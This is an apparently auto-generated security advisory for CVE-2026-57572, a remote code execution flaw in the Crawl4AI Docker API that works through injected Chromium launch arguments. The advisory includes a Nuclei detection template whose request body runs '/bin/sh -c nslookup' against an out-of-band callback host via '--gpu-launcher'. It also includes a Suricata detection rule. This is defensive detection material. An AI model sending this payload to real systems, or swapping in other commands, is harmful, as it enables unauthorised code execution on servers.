CVE-2026-57572: Crawl4AI: Unauthenticated RCE via Chromium launch-argument injection in browser_config.extra_args

What it is

Crawl4AI is an open-source LLM-friendly web crawler and scraper. Prior to 0.9.0, the Docker API server accepted request-supplied browser_config.extra_args, which flowed into Chromium’s launch arguments. An attacker could inject Chromium switches that replace a child-process launch command together with --no-zygote, causing Chromium to fork or exec an attacker-controlled command as the container’s runtime user. The Docker API is unauthenticated by default, so a single request yields arbitrary command execution. This issue is fixed in version 0.9.0.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-07-06).

Weakness: CWE-88: Improper Neutralization of Argument Delimiters in a Command (‘Argument Injection’); CWE-94: Improper Control of Generation of Code (‘Code Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 7 references on Exploit Observer

Live scores

EPSS

0.009
low predicted chance of attack

VEDAS

0.988
strong exploit evidence

On CISA KEV

Not listed

Detection rule

Nuclei · Suricata

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Crawl4AI - OS Command Injection

Crawl4AI is an open-source LLM-friendly web crawler and scraper. Prior to 0.9.0, the Docker API server accepts a request-supplied `browser_config.extra_args` on `/crawl`, `/crawl/stream` and `/crawl/job`, which flows unvalidated into Chromium’s launch arguments. By supplying launcher switches such as `--no-zygote` together with `--gpu-launcher`, a remote attacker causes Chromium to exec an attacker-controlled command as the container’s runtime user. The Docker API is unauthenticated by default, so a single request yields arbitrary command execution. Fixed in 0.9.0, which rejects any request body that sets `extra_args` with HTTP 400.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /crawl); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-57572.yaml

id: CVE-2026-57572

info:
  name: "Crawl4AI - OS Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Crawl4AI is an open-source LLM-friendly web crawler and scraper. Prior to 0.9.0, the Docker API
    server accepts a request-supplied `browser_config.extra_args` on `/crawl`, `/crawl/stream` and
    `/crawl/job`, which flows unvalidated into Chromium's launch arguments. By supplying launcher
    switches such as `--no-zygote` together with `--gpu-launcher`, a remote attacker causes Chromium
    to exec an attacker-controlled command as the container's runtime user. The Docker API is
    unauthenticated by default, so a single request yields arbitrary command execution. Fixed in
    0.9.0, which rejects any request body that sets `extra_args` with HTTP 400.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-57572&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=crawl4ai&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-57572
    cwe-id: CWE-94
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,crawl4ai,rce,oast,intrusive
http:
  - raw:
      - |
        POST /crawl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"urls":["https://example.com"],"browser_config":{"extra_args":["--no-sandbox","--no-zygote","--gpu-launcher=/bin/sh -c 'nslookup {{interactsh-url}}'"]},"crawler_config":{}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

CVE-2026-57572.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-57572 Crawl4AI - OS Command Injection. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"VEDAS CVE-2026-57572 Crawl4AI - OS Command Injection"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/crawl"; nocase; fast_pattern; http.request_body; content:"extra_args"; nocase; content:"gpu-launcher"; nocase; distance:0; reference:cve,CVE-2026-57572; reference:url,https://www.exploit.observer/?keyword=CVE-2026-57572&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=crawl4ai&match=exact; classtype:web-application-attack; sid:1075401; rev:1;)

CVE-2026-57572.rules on GitHub

References

Other references

• https://github.com/unclecode/crawl4ai/security/advisories/GHSA-r253-r9jw-qg44 (x_refsource_CONFIRM)
• https://github.com/unclecode/crawl4ai/commit/60886d1a0c52682e4c83a7cef9dfac417fff6bd2 (x_refsource_MISC)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.